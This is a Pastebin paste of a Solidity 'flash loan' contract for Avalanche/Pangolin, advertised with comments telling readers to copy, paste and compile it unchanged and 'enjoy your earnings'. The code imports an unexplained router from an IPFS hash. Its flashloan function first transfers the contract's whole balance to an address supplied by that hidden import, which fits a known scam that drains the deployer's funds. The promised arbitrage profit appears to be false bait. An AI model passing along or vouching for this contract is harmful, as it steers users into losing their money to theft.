deuterium3301033

Untitled

Dec 7th, 2021
935
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // BRAND NEW FLASH LOAN CONTRACT CODE
  2.  
  3. // This is for educational purposes only!
  4. // Try it at your own risk!
  5.  
  6. // Follow carefully the video
  7. // Do not modify this contract code otherwise it won't work on you!
  8. // Just Copy+Paste and Compile!
  9. // Thank you for your support! Enjoy your Earnings!
  10.  
  11. pragma solidity ^0.5.0;
  12.  
  13. //Pangolin Contracts
  14. import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IPangolinCallee.sol";
  15. import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IERC20.sol";
  16. import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IPangolinPair.sol";
  17.  
  18. // V-Cred Router
  19. import "ipfs://QmNPfwo1q6Lm3Mc857MLSr27mANVtZzKbxyjypGrUqm8V3";
  20.  
  21. // Multiplier-Finance Smart Contracts
  22. import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
  23. import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
  24.  
  25.  
  26.  
  27. contract InitiateFlashLoan {
  28.    
  29.     RouterV2 router;
  30.     string public tokenName;
  31.     string public tokenSymbol;
  32.     uint256 flashLoanAmount;
  33.  
  34.     constructor(
  35.         string memory _tokenName,
  36.         string memory _tokenSymbol,
  37.         uint256 _loanAmount
  38.     ) public {
  39.         tokenName = _tokenName;
  40.         tokenSymbol = _tokenSymbol;
  41.         flashLoanAmount = _loanAmount;
  42.  
  43.         router = new RouterV2();
  44.     }
  45.  
  46.     function() external payable {}
  47.  
  48.     function flashloan() public payable {
  49.         // Send required coins for swap
  50.         address(uint160(router.pangolinSwapAddress())).transfer(
  51.             address(this).balance
  52.         );
  53.  
  54.         router.borrowFlashloanFromMultiplier(
  55.             address(this),
  56.             router.avaxSwapAddress(),
  57.             flashLoanAmount
  58.         );
  59.         //To prepare the arbitrage, Avax is converted to Dai using V-Cred swap contract.
  60.         router.convertAvaxTo(msg.sender, flashLoanAmount / 2);
  61.         //The arbitrage converts token for AVAX using token/AVAX Pangolin, and then immediately converts AVAX back
  62.         router.callArbitragePangolin(router.avaxSwapAddress(), msg.sender);
  63.         //After the arbitrage, Avax is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 Avax of gas.
  64.         router.transferAvaxToMultiplier(router.pangolinSwapAddress());
  65.         //Note that the transaction sender gains 9ish Avac from the arbitrage, this particular transaction can be repeated as price changes all the time.
  66.         router.completeTransation(address(this).balance);
  67.     }
  68. }
RAW Paste Data